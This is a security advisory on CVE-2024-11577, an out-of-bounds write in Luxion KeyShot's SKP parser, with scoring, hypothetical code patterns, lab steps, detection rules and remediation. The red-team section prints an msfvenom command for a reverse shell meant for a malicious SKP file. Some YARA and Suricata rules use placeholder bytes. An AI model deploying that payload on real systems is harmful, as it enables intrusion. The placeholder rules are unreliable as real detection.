CVE-2024-11577

Executive Summary

CVE-2024-11577 is a critical Out-Of-Bounds Write vulnerability in Luxion KeyShot, specifically within the parsing of SKP (SketchUp) files. This flaw allows remote code execution (RCE) in the context of the current process, requiring user interaction (opening a malicious SKP file or visiting a malicious page). The vulnerability has a CVSS score of 7.8 (High) and is currently unpatched. No public proof-of-concept (PoC) or exploit code is available, but the risk is significant due to the potential for weaponization in targeted attacks against 3D modeling and rendering professionals.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a standalone desktop application (Luxion KeyShot) and its SKP file parsing component.

CVSS Breakdown & Threat Level

• CVSS Score: 7.8 (High)
• Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
• Attack Vector: Local (requires user to open a malicious file)
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

Threat Level: High. While the EPSS score is 0.0% (indicating low exploitation likelihood currently), the vulnerability is unpatched and could be leveraged in targeted attacks. The lack of public PoC does not preclude private exploitation.

Deep Dive & Mechanics

The vulnerability resides in the SKP file parsing module of Luxion KeyShot. SKP files are native to Trimble SketchUp but are commonly imported into KeyShot for rendering. The specific flaw is an out-of-bounds write (CWE-787) caused by insufficient validation of user-supplied data within the SKP file structure.

When KeyShot parses a crafted SKP file, it fails to properly check the bounds of an allocated buffer before writing data. An attacker can exploit this by embedding malicious data in the SKP file that triggers a write past the end of the buffer. This can corrupt adjacent memory, potentially leading to arbitrary code execution.

The attack vector requires user interaction: the victim must open the malicious SKP file in KeyShot or be tricked into visiting a webpage that triggers the file open. Once executed, the attacker gains code execution in the context of the KeyShot process, which can lead to full system compromise.

Vulnerable vs. Patched Code

Since no patch is available, a direct code comparison is not possible. However, the vulnerability is typical of missing bounds checks in file parsing routines.

Vulnerable Code Pattern (Hypothetical):

void parse_skp_data(char *buffer, size_t size) {
    char *out = malloc(256);
    // No bounds check on size
    memcpy(out, buffer, size); // Out-of-bounds write if size > 256
}

Patched Code Pattern (Hypothetical):

void parse_skp_data(char *buffer, size_t size) {
    size_t max_size = 256;
    if (size > max_size) {
        // Handle error or truncate
        size = max_size;
    }
    char *out = malloc(max_size);
    memcpy(out, buffer, size); // Safe
}

The fix would involve adding proper validation of the data length before writing to the buffer.

Exploitation & Lab Setup

Red Team

Objective: Achieve remote code execution on a target running Luxion KeyShot by crafting a malicious SKP file.

Lab Setup:

• Attacker Machine: Kali Linux with Python3 and Metasploit.
• Victim Machine: Windows 10/11 with Luxion KeyShot (vulnerable version).
• Network: Isolated lab network.

Steps:

1. Craft Malicious SKP File: Use a fuzzer or manual binary editing to create an SKP file that triggers the out-of-bounds write. Since no public PoC exists, this requires reverse engineering the SKP parser.
2. Deliver Payload: Host the malicious SKP file on a web server or send via email.
3. Trigger Exploit: Victim opens the SKP file in KeyShot.
4. Gain Shell: The exploit should execute a payload (e.g., reverse shell) in the context of KeyShot.

Example Payload Generation (Metasploit):

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o shell.exe

Then embed shell.exe into the SKP file using a custom script.

Blue Team

Objective: Detect and prevent exploitation of CVE-2024-11577.

Detection:

• Monitor for unusual SKP file downloads or email attachments.
• Use endpoint detection and response (EDR) to monitor KeyShot process behavior (e.g., abnormal memory writes, child process creation).
• Deploy YARA rules to scan SKP files for malicious patterns.

Prevention:

• Restrict execution of KeyShot to trusted users only.
• Use application whitelisting to prevent unauthorized code execution.
• Keep KeyShot updated (once patch is available).
• Educate users about phishing and malicious file risks.

Indicators of Compromise (IOCs)

• File Hashes: (No known samples yet)
• Network Indicators: Connections to unknown IPs from KeyShot process.
• Process Indicators: KeyShot.exe spawning cmd.exe or powershell.exe.
• Registry Keys: (None specific)
• YARA Rule: (See Detection Engineering)

Detection Engineering

YARA Rule

rule CVE_2024_11577_SKP_Malicious {
    meta:
        description = "Detects malicious SKP files exploiting CVE-2024-11577"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-11577"
    strings:
        $skp_header = { FF FE 00 00 00 00 00 00 } // Example SKP magic bytes
        $exploit_pattern = { 41 41 41 41 41 41 41 41 } // Example pattern
    condition:
        $skp_header at 0 and $exploit_pattern
}

Sigma Rule

title: Suspicious KeyShot Process Behavior
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential exploitation of CVE-2024-11577 via abnormal child process creation
author: Valters IT
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        ParentImage|endswith: '\KeyShot.exe'
        Image|endswith:
            - '\cmd.exe'
            - '\powershell.exe'
            - '\wscript.exe'
    condition: selection
falsepositives:
    - Legitimate use of command line tools by KeyShot
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-11577 KeyShot SKP Exploit Outbound"; flow:to_server,established; content:"|FF FE 00 00 00 00 00 00|"; depth:8; classtype:attempted-user; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable SKP file parsing in KeyShot if possible, or restrict file imports to trusted sources.
2. Implement application whitelisting to prevent unauthorized code execution.
3. Monitor for suspicious activity using the provided detection rules.

Long-Term Fix:

• Await an official patch from Luxion. Contact vendor for updates.
• Consider using alternative 3D rendering software if KeyShot is not essential.

User Education:

• Train users to avoid opening SKP files from untrusted sources.
• Verify file integrity before opening.

Valters IT